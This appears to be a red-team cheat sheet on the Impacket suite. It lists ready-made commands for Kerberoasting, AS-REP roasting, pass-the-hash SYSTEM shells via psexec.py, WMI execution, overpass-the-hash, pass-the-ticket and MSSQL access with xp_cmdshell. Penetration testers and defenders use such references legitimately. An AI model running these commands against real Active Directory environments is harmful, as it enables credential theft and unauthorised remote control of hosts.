Impacket Suite Cheat Sheet

Impacket is a Python library — and, more practically, a collection of standalone attack scripts built on it — for working directly with Windows and Active Directory network protocols (SMB, Kerberos, MSRPC) from a Linux attack box, with no need for a Windows machine or an agent on the target. secretsdump.py has its own dedicated page; this covers the rest of the suite that shows up constantly across the Active Directory attack chain.

Red Team / Offensive Use

Impacket is what most of the individual steps in an AD attack chain actually run on: requesting Kerberos tickets for offline cracking, converting and reusing captured tickets, and getting remote command execution once a credential (password, hash, or ticket) is confirmed to work somewhere. It's the reference implementation these protocols get scripted against — when a write-up says "Kerberoast the domain," this is almost always the tool underneath that sentence.

Established Cheatsheet

fortra/impacket — the official repository; every script referenced below lives in its examples/ directory alongside secretsdump.py.

PWNMI's Top 7 Use Cases

• GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.5 -request — Kerberoast every SPN-registered account in the domain, outputting crackable hashes for each
• GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5 — AS-REP roast a list of usernames, no credential required if pre-authentication is disabled on the account
• psexec.py -hashes :NTHASH DOMAIN/administrator@10.10.10.15 — get a SYSTEM shell on a host using a captured NTLM hash, no plaintext password needed
• wmiexec.py DOMAIN/user:password@10.10.10.15 — semi-interactive command execution over WMI; quieter than psexec.py since it doesn't drop a service binary on the target
• getTGT.py -hashes :NTHASH DOMAIN/user — request a real Kerberos TGT using an NTLM hash (overpass-the-hash), for targets that only accept Kerberos
• export KRB5CCNAME=user.ccache && wmiexec.py -k -no-pass DOMAIN/user@10.10.10.15 — authenticate with a Kerberos ticket already sitting in a ccache file (pass-the-ticket) instead of a password or hash
• mssqlclient.py DOMAIN/user:password@10.10.10.20 -windows-auth — connect to a MSSQL instance with domain credentials; often reachable for command execution via xp_cmdshell if the account has the rights

Next step

For the full sequence these scripts fit into — enumeration, Kerberoasting, AS-REP roasting, pass-the-hash, DCSync — see the Active Directory attack chain. Crack any hash these scripts hand you with Hashcat. For domain-wide credential validation before picking a target for any of these, see NetExec.